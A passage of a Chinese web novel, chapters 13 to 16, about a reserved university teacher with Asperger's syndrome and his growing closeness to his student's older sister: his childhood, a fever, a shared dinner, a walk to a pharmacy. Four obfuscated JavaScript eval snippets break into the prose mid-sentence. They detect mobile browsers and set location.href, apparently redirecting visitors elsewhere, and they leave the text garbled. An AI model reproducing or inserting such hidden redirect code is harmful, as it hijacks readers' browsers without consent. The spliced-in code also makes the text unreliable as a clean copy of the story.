于是季品诚开始被强制性要求参加各种各样的比赛,来证明一直雪藏的季家长子其实是天才。 季母那会也重新有了笑颜。 “品诚,你只要拿很多很多奖,永远成为第一名,爸爸就会像其他小朋友的爸爸那样爱你,给你过生日,带你买玩具,抱你玩滑梯,接你放学,你一定要争气,要不然他只会更加讨厌你。” 季品城那会坐在前往下一场奥数比赛的飞机上,他揉了揉眼睛,只觉得很困很困。 自从要去全国各地参加竞赛以来,他一直都在路途上奔波,根本没有好好休息过。 “妈妈,我很累了。” “累也要去。” “那我不要爸爸的喜欢了可以吗,我不想天天参加比赛,然后一堆人拿着相机对我拍照,我不喜欢身边围着那么多人,更不喜欢自己出现在报纸上还有电视上,我不想被这么多人关注。” “季品诚!”季母突然一声暴呵,吓到了他。 “我为了生你伤了身体,这辈子不能再有别的孩子了,我和你爸爸都期待能有一个完美的孩子,结果你的出生,给我们带来了灾难,季家容不下你这样特殊的孩子。” “你为什么,为什么不能是一个正常的孩子呢...” 季品诚合上了放在膝盖上的资料书,他愣愣地看着妈妈,他知道的,是因为他,妈妈才又流眼泪了。 “妈妈,我会参加比赛的,我会拿第一,也会拿很多很多奖杯的,你不要哭了。” 季母狠狠拥抱住他,在他耳边道歉:“对不起,妈妈也不想这样。” 季品诚觉得这拥抱的力度太紧了,他有些不舒服地扭了扭,最后,他伸手擦掉了妈妈脸上的眼泪。 “妈妈,不要伤心了,我不想看见你哭。” 季父把他包装成了神童,获得了一系列商业和名誉上的利用价值。 所以他偶尔也会扮演慈父的角色,比如接季品诚放学。 季品诚还清楚地记得那天,自己发了高烧。 但他由于内感受能力的缺乏,就算发高烧烧得满脸通红也一声不吭。 在他的世界里,他并不知道难受了是要表达不舒服的。 他沉默地坐上爸爸的车,直到回家被家里的阿姨发现小脸通红。 那天晚上,他听到了爸爸妈妈在吵架。 “你接他回家的时候没发现他发烧四十度了吗?” “他每天沉浸在自己的世界里一句话不说,谁知道他生病了不舒服啊。” “你根本没有正眼看过他吧?” “如果可以,你以为我想去做这种孩子的父亲吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116767|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一个人蜷缩在被子里,额头上还贴着退烧贴。 他就是从那个晚上,有点明白了“难过”这个词到底是什么意思。 难过就是哪怕心里想不通为什么会遭到责怪,眼泪也会不自觉地流淌下来。 他遇到晏迎之后,这份被压抑的难过减轻了很多。 唤醒季品诚的,是张峰重重敲了敲他的桌子。 “季老师,下午在报告厅有个会,你也去。” 办公室的明眼人都看出来季品诚不舒服,但张峰就是故意找不痛快。 这种无聊大会他明明可去可不去的,而且距离开会还有一个小时,干什么这么早把人家叫起来。 季品诚抬头没有看他,拿起放在一边的眼镜戴上:“行,我知道了。” 他揉揉自己的眉心,沉默地打开电脑准备看一会文献再去。 下午的会议比他想象中还要无聊和没营养,季品诚摸了一下自己的额头,还是烫烫的,没有退烧,不过也没事,死不了。 他拿出手机打开微信,找到了“晏迎”这个名字。 她的头像是一只带着贝雷帽的蓝猫,表情拽拽的,和她居然有点像。 季品诚点开她的朋友圈,她没有设置仅三天可见,他往下滑,发现她一天居然最少要发三条朋友圈。 有美食鲜花,有旅游打卡,甚至是出差路上沿途的风景都会拍下来。 她还时不时会发张搞怪或者好看的自拍,配上文案“诚邀大家来欣赏女娲毕设。” 季品诚的唇角上扬,对上照片里她那双明亮的眼睛。 他也不知道自己看了多久,直到手机黑屏。 黑色的屏幕像是一面镜子,他从中看到了自己的眼睛。 他的眼睛不同于她的明媚灿烂,深沉得如一潭安静的水。 那潭水常年寂寞,在别人眼里看来,毫无波澜。 现在,季品诚眸光微动,他的眼睛里不知道什么时候已经出现了她的倒影。 他不喜欢别人进入他的世界,但如果想要进来的人是晏迎,他只会在她进入之前,告诉她那个世界并不好玩。 他怕自己的乏味赶走她,又怕自己没有能力留住她。 这种难以言喻的心情让季品诚直到开完会都没有结束,他看上去一切都还好,可实际上,他昏昏沉沉地走路都有点发软。 他回到办公室的时候,桌子上多了一份热的冰糖雪梨汤。 他有些茫然地问隔壁办公桌的同事:“这是谁的,是不是送错了?” 同事示意他去看外卖包装上的单子:“这个是我拿外卖的时候顺便帮你带回来的,上面就是你的名字。” 季品诚仔细去看,上面确实写着他的名字。 备注那一栏还写着,爱吃甜,多加点糖谢谢。 他疑惑地皱了皱眉头,手机“叮”的一声响起,是晏迎发来的消息。 “季老师,我给你点了冰糖雪梨,送到离你最近的东校门了,记得去拿一下。” “已经拿到了,谢谢你。” “你好点了吗?” 季品诚感觉到自己的身体产生了躯体化反应,他在发抖。 此刻内心复杂的感情乱成毛线,各自拉扯成一团死结。 只有她能解开,也只有她或许还愿意解开。 他又想起小时候发高烧那次,父亲责怪他不舒服为什么不表达出来。 难受了是要让别人知道的。 季品诚一边手抖一边回复:“我没有好一点,还是很难受。” 要是你在我身边就好了。 你不用做什么,只要在我身边就好。 14. 14 “我没有好一点,还是很难受。” 文字是冷冰冰的,但晏迎的耳朵里已经出现了他低沉的声音。 她总觉得这简简单单的一句话,里面却带着点撒娇的味道。 她透过这句话,隐隐觉得他这是在…在需要自己? 季品诚是一个不太愿意展现自己脆弱的人,让他承认自己不开心和难受比登天还难。 晏迎一行字删了又打,打了又删,她一下子不知所措。 时间突然变得煎熬,每分每秒都有点烫人。 晏迎懊恼地关掉了手机,她其实可以发个表情或者客套话敷衍过去,但是她不愿意。 她不愿意敷衍季品诚。 那碗热乎乎的冰糖雪梨已经放凉了,季品诚的眼睛盯着手机屏幕,看到和晏迎的聊天框上面显示“对方正在输入中”。 这七个字停顿了几秒,又很快消失了。 她没有再发什么消息给他。 季品诚低下头,打开了那碗冰糖雪梨,他拆开勺子搅了搅,挖了一勺梨子肉送入口中。 很甜,但却是失望的味道。 他心里是渴望她能够说些什么的,哪怕是敷衍的一句“多注意休息,多喝热水”也好。 他麻木地喝着加倍甜的梨汤,想着她难道连敷衍一下自己都不愿意了吗? 为什么要不回复他呢。 那个被煮得又香又甜又软的梨子,被他戳成了梨子粥。 季品诚用勺子舀着“梨子粥”往嘴里送,想着她肯定是突然有事了,所以才没有回复。 手机铃声响起,是她发起的语音通话。 季品诚心中被惊喜填满,他顾不得面前的冰糖雪梨汤,拿起手机就冲出了办公室的门接电话。 同事诧异地看一眼他的背影:“这个季老师怎么回事,最近感觉不太对劲。” “诶,你们说他不会谈恋爱了吧?” “他?谁和他谈啊,不敢想象。” “说不准有人就好季教授这一口呢。” 晏迎坐在办公室里打了一个喷嚏。 季品诚听到了她的喷嚏声,他不自觉地皱眉:“你没事吧,你不会被我传染了吧?” “没有,”晏迎揉揉鼻子笑了笑,“我精神好着呢!至于打喷嚏…可能是被人惦记了吧。” “季老师,是你在惦记我吗?” 季品诚站在教学楼走廊的角落里,他把手机贴紧自己的耳朵,觉得今天她的声音格外好听,格外温柔。 “我...我很感谢你给我点的冰糖雪梨汤。” 这就是惦记的意思,晏迎听出来了。 她在电话那头低低笑了一声:“季老师,不用客气,不过我给你点外卖应该算不上贿赂老师吧?” 季品诚认真回答道:“不算,你不仅仅是我学生的家长,还是我的朋友。” 晏迎知道他会把每句玩笑话都当真,所以也不想再逗他了。 要不然她真的有种在欺负他的感觉。 其实晏迎很想问问他,关于阿斯伯格综合征的事情,可接通了这个电话,听到了他的声音之后,她又觉得这个问题也不是特别重要了。 他们两个除了第一次见面有些不对付,其他时候,晏迎很喜欢季品诚相处。 她之前也见过了各种各样形形色色的男人,只有季品诚是和那些所谓的“正常人”不一样的。 他每次听她说话的眼神,都是那么干净,她的每一个问题,他都不会撒谎。 安静的办公室里,晏迎摸了摸手边的烟盒子又放了下来。 “你怎么不说话了?”季品诚在电话那头低声发问。 “我是在想,苏阿姨一时半会回不来,你现在又生病了,晚饭来我家吃吧,我厨艺一般般你是见识过的,可不要嫌弃不好吃。” “我不会的,谢谢你。” “哎呀季老师,”她的声音又恢复了往日里张扬明媚的味道,“别和我那么客气,远亲不如近邻,关照一下也是应该的。” “我们是朋友。”他好像对这件事情很执着。 “嗯,”晏迎很温柔地回答他,“你说得对,我们是朋友,所以...你更加不能嫌弃我做的难吃。” “季老师,我先挂了,今天在家等你。” “在家等你”这四个字,回荡在季品诚的耳边,让他心口一暖。 他不明白这种让他很放松的感情从何而来,又意味着什么,他只想把他们之间牵引的那根线牢牢攥紧,不愿意松开。 “好,再见。”还有两个小时五十二分钟下班就可以见到了。 季品诚回到办公室的时候,那碗冰糖雪梨汤已经彻底凉透了。 他不想浪费她的心意,还是喝完了。 他的味觉因为感冒尝不出味道来,但那通她发起的电话,宛如一剂温和但功效大的良药。 冰糖雪梨汤全部的清甜味席卷在他的舌尖,他弯弯唇角笑了笑,笑自己刚刚的患得患失实在可笑。 晏迎下午交方案给维娜的时候,维娜冲她挑了挑眉:“嗯哼,怎么看上去情绪比上午好很多?” 晏迎酝酿了一下却不知道该怎么回答,她其实也不明白,为什么那通电话像是一只无形的手,将那些微妙的心情无声无息地调整正常。 维娜看她那样,心里立马明白了个十之八九,她笑了笑:“看来是关于你的那个阿斯伯格综合症的朋友?” 晏迎没有否认:“对,是和他有关。” “小迎,我其实是不赞成你和这样的人相处做朋友的,和这类人交往起来会比和普通人交往耗费的精力更多,现在你们没有矛盾,不代表你们以后也没有。” 晏迎低下头,苦笑道:“我查了很多资料,我都知道的。” “但凡事都有个例,也不是每个阿斯伯格综合征患者都达到难以相处的程度,如果你和他相处你很开心,那我并不反对什么,只是小迎,你得做好准备,毕竟你还年轻,容易意气用事。” 维娜这话说的隐晦,晏迎也是聪明人,她知道维娜看出了她对季品诚的感情绝对不一般。 反正肯定不会是普通朋友那一类。 “小迎,我看出来你不是和以前一样单纯觉得好玩而已,这次,我看出来你的情绪已经有了波动。” “维娜姐,他和别人不一样的。” 维娜憋笑:“哎呀,我记得以前谁和我说,天底下男人都一个样,玩玩就可以了,怎么到了他这里,你反而不清醒了?” 晏迎叹了口气:“去年咱们公司团建去爬山,在半山腰遇到个算命的,他非说我今年会有一劫,要我花钱买破劫的方法,我那会还骂他是骗子,现在看来,他确实没有说错。” “得了吧小迎,他就是想骗你钱,我倒是有一个破劫的办法,免费给你要不要?” 晏迎笑了:“维娜大师说来听听。” 维娜认真地看着她的眼睛,一字一句道:“破劫的办法就是不要陷进去,小迎,要学会及时脱身,一辈子很长,及时止损。” 夕阳从办公室的窗户照在了地上,一地柔软的橘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122180|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄,像是那天,和他晚间散步时,山茶花上缠绕的灯光。 那光狡猾地钻进他们牵紧的掌心里,在肌肤相贴间,把两个人融为一体。 只有相依,无关情//欲。 晏迎冲维娜点点头,眼神坚定:“放心吧维娜姐,我你还不了解,我怎么可能陷进一段感情里无法自拔。” 维娜闭眼喝了一口咖啡:“但愿吧。” 晏迎下班就开车到了南城大学的校门口,她给晏远打了一个电话。 “喂,小远,我到校门口啦,你可以来找我了。” “好,姐姐我在教室上自习呢,我收拾一下马上来。” 张浩的视角里,背着书包的晏远笑着从校门口飞奔到晏迎的车上。 他眯眼看了看晏迎的车牌号,然后拿手机拍了下来。 “浩哥,就那女的上次开车撞你啊。” “嗯,也是她在办公室里和我爸大吵一架。” “那还等什么啊浩哥,搞她啊,把她搞定,晏远不是手拿把掐吗?” 张浩冷笑一声:“不急慢慢来,我肯定会搞定她的。” 晏远看到了放在车后座的几个保温打包袋。 “姐,这些打包回来的菜是我们今天的晚饭吗?” “嗯,季老师今天来我们家吃饭,我本来想自己做来着,但是做出来又不一定好吃,就索性去餐馆打包了些菜和米饭。” 晏远“啊”了一声:“姐姐,今天季老师怎么还来我家吃饭啊?” 晏迎见她反应那么惊讶忍不住笑了:“他生病了,苏阿姨又不在家,他一个人多可怜啊,所以你姐姐就大发善心收留了他一下。” 晏远凑过去不可思议地看着她:“姐姐,你可不是什么会大发善心的老好人,我发现你对季老师格外……” 连晏远都看出来了,他在她心里是有些不一样的。 “哎呀,他毕竟是你的老师,我对他好一点也没什么,“晏迎冲妹妹打着哈哈。 晏远一仰头,舒服地靠在车座的靠枕上,她慢悠悠道:”嘿嘿,不相信,包括季老师对姐姐你,我也觉得不对劲。“ “哦?哪不对劲,你说说看。” “他会对姐姐你笑,他对我们,还有对其他老师都没有笑过,永远都是公事公办的样子。” 一个炸裂的想法出现了晏远的脑子里,她脱口而出:“姐姐!你和季老师现在的关系不会是…” 晏迎回答:“我们是朋友。” “哪种朋友啊姐姐?” 这个问题,倒是把晏迎问住了。 前面的红灯终于跳成绿灯,车载音响里的音乐也唱到了温柔低沉的尾声。 晏迎觉得自己心间此刻被一阵微风吹过,荡漾出几圈涟漪。 她笑着回答:“目前就还是普通朋友啊。” 季品诚干完手上的事情准备到点下班,张峰叫住了他。 “季老师,今天多加一个小时的班吧,把一个报告写完了再走,明天要用到。” “不行,这个报告明天下午才用得到,我明天上午再给你,我要走了。” 办公室里张峰资历最深后台最大,明年还要升职,办公室的老师几乎不敢忤逆他。 听到季品诚这样斩钉截铁的回答,其他老师纷纷替他捏了一把冷汗。 张峰脸上立马出现了不高兴的表情,他皱眉问到:“你今天有什么急事吗,加个班都不愿意?” 季品诚平静地回视他:“很大的急事。” “有人等我回家。” 15. 15 晏迎把冷掉的菜放到了微波炉里重新加热了一下,门外响起了敲门声。 晏远打开门,是刚刚下班的季品诚。 “季老师好。”晏远老老实实地打招呼,她指了指厨房的方向,“我姐姐在厨房里。” 季品诚点点头,脱下黑色呢子大衣挂在了衣架上,熟门熟路地走向了厨房。 晏远一个人在门口长叹一声,老天爷,按照这个情况下去,她以后不会要叫季老师“姐夫”吧。 微波炉像是一个魔法盒子,菜肴在暖橙色的光□□验着旋转木马,几分钟之后,随着“叮咚”一声,游戏结束,凉掉的鲫鱼豆腐汤重新变得滚烫。 晏迎小心翼翼地把鲫鱼豆腐汤端出来放在一边,回头拿碗的时候,她对上了季品诚实的眼睛。 她刚刚一直在发呆,并不知道季品诚已经来了。 他穿着一身深灰色的针织毛衣倚在门口,抱着双臂看向她。 他估摸着还有点发烧,脸和嘴唇都有点红。 晏迎隔着差不多五步路的距离和他对视,鱼汤的香味,弥漫在他们之间。 晏迎对他笑了笑:“来多久了?怎么不出声叫我?” 季品诚也笑了:“刚来不久,见你在端鱼汤就没有叫你,怕你烫到手。” 现在应该端菜上桌了,但晏迎却顾不得刚刚热好的菜,她走到了他的面前,停在了他的两步之外。 季品诚不知道她要干什么,但他并不想躲开。 晏迎伸出手摸向他的额头,他闭起眼睛,睫毛微微颤动,主动低下头让她摸得更顺手一点。 她的掌心刚刚端过鱼汤,上面还带着鱼汤的香味儿。 那微凉的掌心,从他的额头转移到了他的面颊,他的睫毛抖动得更加厉害了。 季品诚睁开眼睛,隔着那么近的距离,他从她的眼睛里看到了自己。 “好像没有早上那么烫了。” “嗯,”他低低回答,“我下午又吃了一次药,估计药效上来了。” “但还是有点烫,你晚上睡前再吃一顿药吧。” 他顺从地答应着:“好。” 晏远走到厨房门口:“姐,可以开饭了吗?” 晏迎迅速放下了自己放在季品诚脸上的手,她拉开了一点和季品诚之间的距离,回答道:“可以了,来端菜吧。” 季品诚在她有些慌乱的动作里轻轻笑了一声,晏迎冲他挑眉,无声地冲他比着口型:“你笑什么?” 晏远背过身把菜端出厨房,假装没有看到两个人刚刚的动作。 季品诚在洗筷子,水龙头发出“哗啦啦”的流水声,他的声音混在水声里,有一种说不出来的蛊惑。 “我是在笑,你为什么怕她看见。” 晏迎挑眉:“有些事不应该被小孩子看到。” 季品诚思索了一下:“就是指你刚刚摸我的脸看看有没有退烧这件事吗?这有什么不能被她看见的?” 晏迎端碗的手停顿了一下,她对上季品诚那双干净清澈的眼睛,一下子有点哑口无言。 她走近他几步,眯了眯眼看着他,声音很小:“因为我害羞行了吧。” 真正的害羞,是不会脱之于口的,季品诚半信半疑:“真的吗?” “假的,”晏迎拍拍他的肩膀,“答案以后慢慢告诉你。” 一顿饭,气氛却比上次吃的要活跃多了。 晏远已经把季品诚在心里默默归类到了“准姐夫”这一栏。 她大着胆子冲季品诚问到:“季老师,今年期末考试的题难不难啊,是开卷还是闭卷啊?” “闭卷,很难。” “谁来批卷子啊?” “我。” 晏远低头默默哀嚎一声:“救命啊…” 晏迎和季品诚对视一眼,她笑得可乐呵了:“诶,出难点,批得时候严格一点,不能放过这群大学生。” 季品诚点头:“好。” 晏远幽幽地看晏迎一眼:“亲爱的姐姐,你自己淋过雨也要撕我们的伞是吗?” 晏迎给她夹了一块排骨:“多吃点,好好学习哈。” 季品诚下午吃过雪梨汤了,晚饭并不怎么饿,他吃了半碗饭和一碗鱼汤就停下了筷子。 “饱了?” 他点点头:“饱了。” 晏远倒是饿了,吃了很多,她看了一眼季品诚:“今天沾了季老师的光。” 季品诚的目光落在晏迎身上:“我还是更想尝尝你姐姐做的菜。” 晏远小声道:“不要啊季老师。” 一起收拾好餐桌之后,季品诚准备去药店再买点退烧药。 药店离着这里并不远,步行个400米就到。 晏迎提议一起散步去药店,她顺便要买一瓶维生素C。 外面的天黑了下来,风也变大了,季品诚出门的时候打了一个喷嚏。 晏迎把自己裹得严严实实,只露出一双眼睛笑着看着他:“脖子里进风能不冷吗?” 她开门从柜子里拿出一条新的黑色纯羊毛围巾,这是她跟着维娜参加会议品牌方送的赠品。 她冲季品诚挑眉:“低头,你太高了,我够不到。” 季品诚本来想说“我可以自己来”,但身体先脑子一步做出了反应,他对她低头弯腰,让她不用踮脚也能顺利地给他带上围巾。 口罩之下,晏迎咧着嘴笑了一下。 季品诚长长的眼睫毛,又开始颤抖了。 他感觉到那条围巾随着她指间的动作,像是一条蛇一样缠绕在了他脖颈上。 一条身体柔软的蛇。 羊毛的触感贴在他的皮肤上,细腻的绒毛惹人微微发痒。 晏迎给他打了一个好看的蝴蝶结:“好啦,系好了,这下就缓和不透风了。” 季品诚对她温柔注目:“嗯,确实很暖和。” 晏迎上下打量他一眼:“这围巾还挺适合你的,送给你了,季老师。” 她在他耳边低语,温热的吐气轻抚他的耳朵轮廓,像是那条缠绕在他脖颈上的蛇,吐着蛇信子亲吻他。 “这算不算贿赂?” 季品诚的心跳在加速,他的语速也在变快:“不算。” 这不算在贿赂季老师,但是在贿赂季品诚。 他伸手摸了摸那条黑色羊毛围巾,嗅到了上面淡淡的花香味。 季品诚低声道:“我欠你好多人情了。” “急什么,”晏迎拉开了点和他的距离,“慢慢还,我不着急。” 通往药店的路,两个人都走的很安静。 他们的影子被路灯拉得长长的,明明没有靠在一起,但影子总是若即若离地触碰着。 走着走着他们偶尔还会互相看一眼,然后又别过眼睛继续走路。 晏迎悄悄地想,和他在一块有点像早恋怕被抓到的小孩。 这个点来药店买药的人并不多,除了晏迎和季品诚,还有一对情侣。 那对情侣十分腻歪,手挽着手,女孩手里还拿着一盒金银花口服液。 晏迎在他们旁边挑选着货架上的维生素c,情侣站在她的不远处,男孩在女孩耳边低语道:“你喜欢什么味道的?” 女孩轻轻打了他一下:“诶呀,你说什么呢,大庭广众的,在便利店买不行吗,干嘛在药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125365|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店买?。” “在药店买可以刷医保。” 晏迎抽了抽唇角,假装没听见,她低头认真地挑选手里的两瓶维生素c。 拿着退烧药和消炎药的季品诚走到她旁边,这个时候,男孩又对女孩说:“挑一个喜欢的味道,我去结账。” 女孩笑了一声:“那就橙子味的吧。” 季品诚并不明白他们在说什么,他只看到本来还在纠结口味的晏迎迅速放下了那瓶橙子味的维生素c,选择了柠檬味的。 晏迎看了一眼季品诚:“走吧,我们结账。” 季品诚帮晏迎付了那瓶维生素c的钱,走出药店之后,晏迎笑着问他:“干什么帮我结账?” 他没有回答这个问题,而是出声反问她:“你又为什么要给我点冰糖雪梨,请我吃饭,还送我围巾?” 晏迎晃了晃手里的维生素c瓶子,里面的维c片发出碰撞之后清脆的响声。 她打开之后放了一片在自己嘴里,柠檬味的就是酸,晏迎被酸得打了一个寒颤。 她把那片维c嚼碎了咽下去,回答季品诚的话:“因为…因为我们是朋友。” “那我的理由也是这个。” 晏迎踢了踢脚边的小石子,她弯了弯唇角:“季老师,你知道,比朋友更进一层的关系是什么吗?” 季品诚认真想了想,回答道:“是好朋友。” 晏迎笑出了声:“嗯,对,是好朋友。” 她并没有再追问他,比好朋友再进一层的关系是什么,因为她觉得季品诚百分之百会回答她,比好朋友更进一层的关系是最好的朋友。 一个坏主意在晏迎心里诞生了,她拉住了季品诚的袖子轻轻晃了晃:“伸出手,给你吃两片维c补补维生素。” 季品诚摊开自己的手掌,晏迎倒了两片在他的掌心之中。 他一口闷了,浓烈的酸味席卷着他的口腔,他忍不住地皱眉,晏迎眉眼带笑地看着他:“有福同享,有酸同当。” 他对上她的笑意时,皱着的眉头一下子就舒展开了。 “你每天都要吃这个吗?” “嗯,我吃着玩的,基本上都是当糖吃。” “不怕酸吗?” “你别说,季老师,酸酸的还挺开胃的,吃习惯了就好。” 季品诚想到了什么,伸手摸向了自己的口袋,里面有钥匙,有手机,还有一颗草莓味的软糖。 那是她给他点的冰糖雪梨里面送的,季品诚没有扔掉。 他把那颗草莓软糖拿出来递给她:“吃颗甜的糖缓缓吧。” “你自己不吃?”晏迎故意问他。 “我只有一颗。” 晏迎点点头,没有辜负他的好意,撕开包装袋送进了自己嘴里。 很甜的味道,缓解了嘴里的酸味。 晏迎借着路灯的光看向了季品诚的脸,他的银框眼镜之下那双干净明亮的眼睛也在看着自己。 她觉得他这眼神很熟悉,在哪里见过一样。 嗯,晏迎想起来了,他看她的眼神,很像维娜家养的那只伯恩山犬。 那只伯恩山犬并不知道自己很可爱,每次晏迎逗它,它只是歪着头睁大眼睛看着她,用握手和摇尾巴表示自己对晏迎的喜欢。 太可爱了,晏迎经常有种想抱抱它,亲亲它的冲动。 但那只小伯很害羞,晏迎把它抱在怀里的时候,它低着头在她的颈窝处蹭来蹭去,不好意思看晏迎的眼睛。 季品诚低头看着她:“在发呆想什么?” 晏迎冲他眨眨眼睛:“我在想,柠檬味的维c太酸了,下次试试看草莓味的怎么样。” 16. 16 季品诚回家的时候,把那条晏迎送给自己的黑色羊毛围巾挂在了衣架上。 他准备明天上班就戴,戴到春暖花开天不冷为止。 他洗完一个热水澡之后就吃了药,感觉头还是有点昏,他打算关掉电脑,今天早点睡觉。 “滴滴”邮箱里有一封来自美国的邮件,发件人是一位叫Ge的华裔医生。 这位医生和季品诚的母亲是高中同学,季母去世后,也是他一直在跟踪季品诚的病情。 “亲爱的Devin,你最近还好吗?你妈妈的忌日我恐怕不能赶回国祭拜了,但我会在明年你的生日之前回来,和你共度一个美好的生日,当然,我还有礼物送给你。” Ge应该是好久都没有说中文的缘故,季品诚觉得他写的东西都一股翻译腔的味道。 他重新坐下来回信。 “Ge叔叔,我最近一切还好,吃药的频率也在降低,精神状态各方面也可以,我在我近二十七年的人生里,获得了一个不错的朋友,和她在一起,我很愉快平和,但我也十分矛盾和煎熬,与她每一次对视,每一次相处都备受折磨,Ge叔叔,我对她隐瞒了我有阿斯伯格综合症的这件事情,我不想她和别人一样用异样的目光看着我,尽管她是一个非常好的人,可是我仍然不愿意去赌。或许我会在一个合适的时机告诉她。我现在是不是又陷入一种不断逃避的情绪里了?” Ge看着他发来的文字笑了,笑着笑着,他低头叹了一口气。 “Devin,你的本质是一个善良的孩子,我很高兴你有了朋友,有了朋友对你的病情来说只会是一件好事,你还记得你小时候吗?从来不主动和别人交朋友,别人和你交朋友你也很抗拒,你觉得你的人生是不需要朋友的,现在你主动拥有了朋友,我想你妈妈知道了也会很开心。你之所以有逃避的情绪是因为你觉得那位朋友对你来说是重要的,你不想面对任何失去她的风险,Devin,我现在对你的那位新朋友真的是越来越好奇了,不过我相信你的眼光,她一定是一个很好的人。孩子,不要退缩和抗拒,虽然阿斯伯格综合症终身不可治愈,一些刻在基因里的症状无法改变,但是你成长至今,经历的变故虽多,仍然是一个温柔坚韧的人,我希望你可以越来越勇敢,勇敢地面对自己,面对别人。” 季品诚盯着电脑屏幕良久,有些晃神。 “对了!Devin,你如果察觉到自己最近的情绪有什么变化,我很建议你记录下来,就像是写日记一样,日记疗法或许可以帮助你释放一些压力,更客观地审视自我情绪,在记录中不断找到生活的平衡和宁静。” “好的,Ge叔叔,十分感谢您今日的来信,期待我们明年的见面。” “中国时间现在已经是二十二点半了吧,晚安孩子,祝你好梦。” 关掉电脑,季品诚拿出钢笔和一本新的笔记本开始记录。 他在脑子里盘点了一下要写的内容。 “2024年12月25日 她给我点了冰糖雪梨,很好吃。 她送给我的围巾很暖和。 她系的蝴蝶结我回家试了试,没有她系的好看。 今天心情很好,和她相处很愉快。” 季品诚不太会写什么煽情的话,他只会记这种流水账。 他写的每一句话,都是有关于她的。 他盖上笔帽,伸手摸上了自己的额头。 温度没那么烫了,他估摸着明天就可以退烧。 他在温暖的被窝里抱着手机打开了晏迎的朋友圈。 他是从来不看朋友圈的,因为他觉得别人的生活和自己无关,所以他注册微信账号以来,都只是把微信当做一个方便的通讯工具,而不是社交分享平台。 季品诚的朋友圈没有什么三天可见,也没有花心思设置分组。 因为他一条朋友圈都没有发过,连朋友圈背景也是系统默认的。 他不想看别人的,他只想看晏迎的。 晏迎就在二十分钟之前刚刚更新了一条六宫格的朋友圈。 文案很简单:这一天。 第一张图是她换上晨跑的运动服对着镜子比了一个耶,图上配文“在这个天起床起床简直是酷刑,好想赖床。” 季品诚对着她眼睛下面的黑眼圈思考,让她不要熬夜早点睡觉的概率太小了,下次可以把晨跑的时间定晚一点,保持充足的睡眠状态来进行运动。 第二张图是他发给她的北落师门星照片,照片上有一行文字“感谢某位专业人士的拍摄。” 季品诚的脸红了一下,他知道那个“某位专业人士”说的就是自己。 第三张图是一杯咖啡,晏迎在旁边竖了一个大拇指,图上配文“老板的红标瑰夏就是好喝!” 她喜欢喝这个?他家厨房的柜子里也有,到时候用咖啡机现磨一下请她过来喝。 第四张图是她的办公桌上也有一杯冰糖雪梨,不过她给自己点的是少糖,图上配文“下午茶时间到。” 季品诚的心跳了一下,她给自己点下午茶的时候,还给他点了一杯,好感动。 第五张图是她拍的打包好的饭菜,配文是“下厨又累又只能做出来难吃的东西,还是给某位病号打包点好吃的吧。” 季品诚笑了,这很符合她做事的风格,省事高效又能出结果。 最后一张图,是他们散步回家的路上,晏迎给那瓶柠檬味道的维生素c来了一张特写,图上配文“非常非常酸,忽悠了朋友吃了一颗,他放进嘴里就露出痛苦面具了哈哈哈。” 季品诚的脸又红了。 他放下手机,眼睛看着房间雪白的天花板,隔着枕头,他清晰地听到了自己胸腔处传来的心跳声。 那心跳声在他的耳道里有规律有节奏地响起,一下一下,像是敲开他沉闷世界的惊雷。 他清楚地意识到,自己,正在过分地关注一个人。 被他放在一边的手机发出“滴滴”的消息提示音,季品诚拿过来,是晏迎的消息。 “季老师,大半夜不睡觉点赞我朋友圈?” 季品诚从床上坐起来,才发现自己刚刚居然不知不觉给她的朋友圈点了一个赞。 他看着她的消息沉默了,一下子不知道该怎么回复。 一边的晏迎抱着抱枕,眼睛盯着亮着的屏幕笑了笑,她发了一个笑嘻嘻的蓝猫表情包过去。 那只蓝猫笑起来的样子,非常贱兮兮的,维娜曾经锐评那只蓝猫的表情包像是忽悠合作商成功的晏迎。 “病号,感觉自己好点了吗?” 季品诚把她那个笑嘻嘻的蓝猫表情包长按保存了下来,他在今天终于拥有了开通微信以来的第一个表情包。 他觉得这只蓝猫很可爱,像她一样可爱。 “好多了,差不多明天就可以退烧了,今天谢谢你。” 如果晏迎知道他的这些心路历程,肯定要笑死。 晏迎又发了一个点赞的蓝猫表情包:“那太好了,你也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 